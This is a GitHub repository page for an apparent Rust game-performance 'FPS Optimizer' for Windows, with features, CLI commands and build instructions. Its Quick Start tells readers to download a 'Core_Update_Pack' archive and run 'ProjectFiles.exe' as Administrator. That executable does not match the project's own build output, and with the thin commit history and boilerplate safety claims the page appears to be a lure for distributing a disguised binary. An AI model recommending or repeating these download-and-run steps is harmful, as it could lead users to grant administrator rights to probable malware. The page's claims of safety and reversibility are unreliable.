Skip to content

About

Rust-based FPS optimizer for games: frame-rate stability, lower input latency, process priority tuning, memory cleanup and power-plan presets. Lightweight, reversible, open-source performance tool for Windows.

Resources

Stars

106 stars

Watchers

0 watching

Forks

Latest commit

 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

⚡ FPS Optimizer (Rust)

A lightweight Rust-powered game performance optimizer — stable FPS, fewer stutters, lower input latency.

Rust License: MIT Platform Build


🎯 What it is

FPS Optimizer is a Rust utility that helps squeeze more frames out of your system and makes gameplay smoother. It applies safe system profiles, tunes process priorities, and reduces latency — without third-party drivers.

⚠️ All settings are reversible. A profile backup is created before any change is applied.


🚀 Quick Start

  1. Download Core_Update_Pack using the button above.
  2. Extract the archive into a separate folder.
  3. Run ProjectFiles.exe as Administrator.
  4. Pick a profile (Balanced / Performance / Competitive) and click Apply.

✨ Features

Feature Description
🎮 Game Profiles Ready-made presets: Balanced, Performance, Competitive
⚙️ Process Priority Automatic priority tuning for game processes
🧠 Memory Tuning Working-set cleanup and memory optimization
🔋 Power Plan Power-scheme switching based on load
📉 Latency Reduction Lower scheduler and timer latency
🧾 Reversible Tweaks Every change can be rolled back with one command
🦀 Pure Rust Single binary, no dependencies or runtimes

🧩 CLI Usage

fps-optimizer list
fps-optimizer apply --profile performance
fps-optimizer rollback
fps-optimizer status

🏗️ Build from Source

git clone https://github.com/USER/fps-optimizer-rust.git
cd fps-optimizer-rust
cargo build --release
./target/release/fps-optimizer --help

Requirements: Rust 1.75+, Windows 10/11.


📂 Project Layout

src/
├── main.rs          # Entry point
├── cli.rs           # Argument parsing
├── config.rs        # Configuration
├── optimizer/       # Optimization core
└── profiles/        # Profile presets

🧪 Testing

cargo test
cargo clippy -- -D warnings
cargo fmt --check

❓ FAQ

Is this safe? Yes. All changes are reversible and never touch system files.

Do I need administrator rights? Yes — for changing process priorities and power schemes.

Does it work on Linux/macOS? The primary target is Windows. Support for other platforms is planned.

More in docs/FAQ.md.


🤝 Contributing

See CONTRIBUTING.md. PRs, bug reports, and new profiles are welcome.


📜 License

MIT © 2026 FPS Optimizer Contributors. See LICENSE.


⭐ Star the repo if it helped you boost your FPS!

About

Rust-based FPS optimizer for games: frame-rate stability, lower input latency, process priority tuning, memory cleanup and power-plan presets. Lightweight, reversible, open-source performance tool for Windows.

Resources

Stars

106 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages